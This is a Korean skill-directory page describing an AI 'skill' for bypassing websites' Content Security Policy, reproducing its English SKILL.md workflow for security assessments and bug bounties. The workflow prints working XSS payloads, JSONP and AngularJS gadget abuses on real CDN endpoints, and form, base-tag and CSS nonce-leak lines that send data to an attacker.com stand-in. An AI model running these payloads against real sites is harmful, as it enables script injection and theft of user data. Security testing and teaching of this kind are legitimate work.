본문으로 건너뛰기
Skillpedia
보안35k · #8210

performing-content-security-policy-bypass

하는 일

이 도구는 웹사이트의 콘텐츠 보안 정책(CSP)의 약점을 찾아 악용하도록 돕습니다. 사이트가 막으려 하더라도 악성 코드를 실행하는 것을 목표로 합니다.

사용하는 경우

  • ✓웹사이트가 차단하는 악성 코드를 발견했을 때.
  • ✓보안 정책이 강한지 확인하려고 웹사이트 보안을 테스트할 때.
  • ✓보안 정책이 공격을 막는 버그 바운티 활동 중일 때.

스킬 링크

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-content-security-policy-bypass/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-content-security-policy-bypass/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“이 웹사이트의 보안 정책을 우회해 스크립트를 실행하려면 어떻게 해야 하나요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

이 도구는 웹사이트의 보안 규칙을 분석하고, 직접적인 스크립트 허용이나 외부 서비스의 부적절한 사용 같은 알려진 허점을 찾습니다. 이 허점을 이용해 코드를 실행하려고 시도합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Performing Content Security Policy Bypass

When to Use

  • When XSS is found but execution is blocked by Content Security Policy
  • During web application security assessments to evaluate CSP effectiveness
  • When testing the robustness of CSP against known bypass techniques
  • During bug bounty hunting where CSP prevents direct XSS exploitation
  • When auditing CSP header configuration for security weaknesses

Prerequisites

  • Burp Suite for intercepting responses and analyzing CSP headers
  • CSP Evaluator (Google) for automated policy analysis
  • Understanding of CSP directives (script-src, default-src, style-src, etc.)
  • Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)
  • Browser developer tools for CSP violation monitoring
  • Collection of whitelisted domain JSONP endpoints

Workflow

Step 1 — Analyze the CSP Policy

# Extract CSP from response headers
curl -sI http://target.com | grep -i "content-security-policy"

# Check for CSP in meta tags
curl -s http://target.com | grep -i "content-security-policy"

# Analyze CSP with Google CSP Evaluator
# Visit: https://csp-evaluator.withgoogle.com/
# Paste the CSP policy for automated analysis

# Check for report-only mode (not enforced)
curl -sI http://target.com | grep -i "content-security-policy-report-only"
# If only report-only exists, CSP is NOT enforced - XSS works directly

# Parse directive values
# Example CSP:
# script-src 'self' 'unsafe-inline' https://cdn.example.com;
# default-src 'self'; style-src 'self' 'unsafe-inline';
# img-src *; connect-src 'self'

Step 2 — Exploit unsafe-inline and unsafe-eval

# If script-src includes 'unsafe-inline':
# CSP is effectively bypassed for inline scripts
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">

# If script-src includes 'unsafe-eval':
# eval() and related functions work
<script>eval('alert(1)')</script>
<script>setTimeout('alert(1)',0)</script>
<script>new Function('alert(1)')()</script>

# If 'unsafe-inline' with nonce:
# unsafe-inline is ignored when nonce is present (CSP3)
# Focus on nonce leaking instead

Step 3 — Exploit Whitelisted Domain JSONP Endpoints

# If CSP whitelists a domain with JSONP endpoints:
# script-src 'self' https://accounts.google.com

# Find JSONP endpoints on whitelisted domains
# Google:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

# Common JSONP endpoints:
# https://www.google.com/complete/search?client=chrome&q=test&callback=alert(1)//
# https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js

# If AngularJS is whitelisted (CDN):
# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

# Exploit JSONP on whitelisted APIs
<script src="https://whitelisted-api.com/endpoint?callback=alert(1)//">
</script>

Step 4 — Exploit base-uri and Form Action Bypasses

# If base-uri is not restricted:
# Inject <base> tag to redirect relative script loads
<base href="https://attacker.com/">
# All relative script src will load from attacker.com

# If form-action is not restricted:
# Steal data via form submission
<form action="https://attacker.com/steal" method="POST">
  <input name="csrf_token" value="">
</form>
<script>document.forms[0].submit()</script>

# If object-src is not restricted:
# Use Flash or plugin-based XSS
<object data="https://attacker.com/exploit.swf"></object>
<embed src="https://attacker.com/exploit.swf">

Step 5 — Exploit Nonce and Hash Bypasses

# Nonce leaking via CSS attribute selectors
# If attacker can inject HTML (but not script due to CSP nonce):
<style>
  script[nonce^="a"] { background: url("https://attacker.com/leak?nonce=a"); }
  script[nonce^="b"] { background: url("https://attacker.com/leak?nonce=b"); }
</style>
# Brute-force each character position to leak the nonce

# Nonce reuse detection
# If the same nonce is used across multiple pages or requests:
# Capture nonce from one page, use it to inject script on another

# DOM clobbering to override nonce checking
<form id="csp"><input name="nonce" value="attacker-controlled"></form>

# Script gadgets in whitelisted libraries
# If a whitelisted JS library has a gadget that creates scripts:
# jQuery: $.getScript(), $.globalEval()
# Lodash: _.template()
# DOMPurify bypass via prototype pollution

…
자주 묻는 질문

콘텐츠 보안 정책(CSP)이란 무엇인가요?

웹사이트가 브라우저에 스크립트나 이미지 같은 콘텐츠의 허용 출처를 알려 주는 보안 계층으로, 공격을 막는 데 도움을 줍니다.

'unsafe-inline'과 'unsafe-eval'은 무엇인가요?

CSP의 설정 값으로, 활성화하면 인라인 스크립트 실행('unsafe-inline')이나 동적으로 생성된 JavaScript 실행('unsafe-eval')을 허용해 보안을 약화시킵니다.

JSONP란 무엇인가요?

다른 도메인에서 데이터를 불러올 수 있게 하는 오래된 기법입니다. 제대로 설정되지 않았거나 CSP가 도메인을 허용한 경우 코드 실행에 악용될 수 있습니다.

상세 정보

작성자의 원본 설명

Analyze Content-Security-Policy headers and bypass them to achieve cross-site scripting by exploiting unsafe-inline/unsafe-eval, whitelisted JSONP endpoints, base-uri and form-action gaps, and nonce/hash weaknesses, then exfiltrate data even without script-src control. Use during web application security assessments or bug bounty hunting when XSS is found but blocked by CSP, or when auditing CSP h

repo: mukul975/Anthropic-Cybersecurity-Skills

인기도

GitHub 스타
35k
순위
#8210
라이선스
Apache-2.0
업데이트
2026. 8. 31.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬